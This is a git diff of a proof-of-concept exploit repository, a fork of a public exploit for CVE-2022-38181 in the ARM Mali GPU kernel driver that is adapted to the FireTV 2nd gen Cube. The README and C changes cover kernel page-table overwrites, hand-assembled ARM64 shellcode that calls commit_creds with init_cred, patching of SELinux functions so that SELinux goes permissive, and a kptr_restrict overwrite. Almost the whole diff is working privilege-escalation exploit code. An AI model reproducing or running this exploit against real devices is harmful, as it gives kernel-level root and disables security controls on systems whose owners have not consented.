diff --git a/README.md b/README.md index d11372a..de10a89 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ ## Exploit for CVE-2022-38181 for FireTV 2nd gen Cube -This is a fork of security researcher Man Yue Mo's [Pixel 6 POC](https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Mali/CVE_2022_38181) for CVE-2022-38181. Read his detailed write-up of the vulnerability [here](https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug/). Changes have been made to account for FireOS's 32bit userspace, as well as the 2nd gen Cube's older Bifrost drivers (r16p0) and Linux kernel (4.9.113) versions. The POC exploits a bug in the ARM Mali kernel driver to gain arbitrary kernel code execution, which is then used to disable SELinux and gain root. +This is a fork of security researcher Man Yue Mo's Pixel 6 POC for CVE_2022_38181. Read his detailed write-up of the vulnerability here. Changes have been made to account for FireOS's 32bit userspace, as well as the 2nd gen Cube's older Bifrost drivers (r16p0) and Linux kernel (4.9.113) versions. The POC exploits a bug in the ARM Mali kernel driver to gain arbitrary kernel code execution, which is then used to disable SELinux and gain root. I used the following command to compile with clang in ndk-21: ``` diff --git a/mali_shrinker_mmap32.c b/mali_shrinker_mmap32.c index 08bf7d8..af711b3 100644 --- a/mali_shrinker_mmap32.c +++ b/mali_shrinker_mmap32.c @@ -91,7 +91,6 @@ Overwriting SELinux to permissive static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0}; static uint32_t root_code[8] = {0}; -static uint32_t root_code2[8]={0}; static uint32_t root_code_un[8] = {0}; static uint8_t jit_id = 1; @@ -466,21 +465,7 @@ void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_en printf("Run fixup_root_shell_un\n"); } -void fixup_root_shell2(uint64_t init_cred, uint64_t commit_cred, uint64_t avc_deny, uint32_t add_init, uint32_t add_commit) { - printf("Run fixup_root_shell2\n"); - uint32_t init_adpr = write_adrp(0, avc_deny, init_cred); - // Sets x0 to init_cred - root_code2[ADRP_INIT_INDEX] = init_adpr; - root_code2[ADD_INIT_INDEX] = add_init; - // Sets x8 to commit_creds - root_code2[ADRP_COMMIT_INDEX] = write_adrp(8, avc_deny, commit_cred); - root_code2[ADD_COMMIT_INDEX] = add_commit; - root_code2[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] - root_code2[5] = 0xd63f0100; // blr x8 - root_code2[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 - root_code2[7] = 0xd65f03c0; // ret - printf("End fixup_root_shell2\n"); -} + void fixup_root_shell_nop() { @@ -673,7 +658,6 @@ void select_offset() { // fixup_root_shell(0x12253F0, 0x5B328, selinux_enforcing_READ, 0x910FC000, 0x910CA108); //fixup_root_shell_un(INIT_CRED_neo, COMMIT_CREDS_neo, sel_read_handle_unknown, ADD_INIT_neo, ADD_COMMIT_neo); fixup_root_shell(INIT_CRED_neo, COMMIT_CREDS_neo, sel_read_enforce, ADD_INIT_neo, ADD_COMMIT_neo); - fixup_root_shell2(INIT_CRED_neo, COMMIT_CREDS_neo,AVC_DENY_neo,ADD_INIT_neo, ADD_COMMIT_neo); return; } err(1, "unable to match build id\n"); @@ -691,15 +675,33 @@ void write_selinux(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) //Go through the reserve pages addresses to write to avc_denied with our own shellcode write_data(mali_fd2, selinux_enforcing, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, 0, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); } +/*for onyx void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) { + uint64_t sel_read_handle_unknown_addr = (((sel_read_handle_unknown + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_handle_unknown_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + + usleep(100000); + + //Call commit_creds to overwrite process credentials to gain root + write_func(mali_fd2, sel_read_handle_unknown, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code_un[0]), sizeof(root_code_un)/sizeof(uint32_t)); +// write_func(mali_fd2, selinux_enforcing_READ, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); +// write_func(mali_fd2, selinux_enforcing_WRITE, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); +} +*/ +//original code(avc_deny) +void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) { + /* Skip this uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); usleep(100000); //Go through the reserve pages addresses to write to avc_denied with our own shellcode - write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code2[0]), sizeof(root_code2)/sizeof(uint32_t)); + write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t)); + //Triggers avc_denied to disable SELinux + open("/dev/kmsg", O_RDONLY); + */ uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); @@ -789,15 +791,12 @@ int trigger(int mali_fd, int mali_fd2, int* flush_idx) { uint64_t pgd = alias_region + pgd_idx * 0x1000 + freed_idx * (SPRAY_PAGES * 0x1000); LOG("Found pgd %d, %llx\n", pgd_idx, pgd); atom_number++; - write_selinux(mali_fd, mali_fd2, pgd, &(reserved[0])); usleep(100000); - write_kptr_restrict(mali_fd, mali_fd2, pgd, &(reserved[0])); - usleep(100000); + write_kptr_restrict(mali_fd, mali_fd2, pgd, &(reserved[0])); + usleep(100000); write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0])); usleep(100000); - - printf("time to run_enforce\n"); run_enforce(); run_enforce_un(); @@ -870,4 +869,4 @@ Java_com_example_hellojni_MaliExpService_stringFromJNI( JNIEnv* env, jobject thi } return -1; } -#endif \ No newline at end of file +#endif